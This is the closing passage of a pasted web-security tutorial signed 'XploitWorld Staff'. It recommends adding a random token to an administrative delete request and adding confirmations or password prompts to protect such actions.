  1052. -------------------------------------------------------
  1053.  
  1054. The request will look like this one :
  1055.  
  1056. http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
  1057.  
  1058. So this request will be fine,the news will be deleted.
  1059.  
  1060.  
  1061. - Another way : Do some complicated confirmations or request a password
  1062. to do administrative actions.
  1063.  
  1064. H4x0r10ux M1nd
  1065. XploitWorld Staff
  1066. [/lock]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement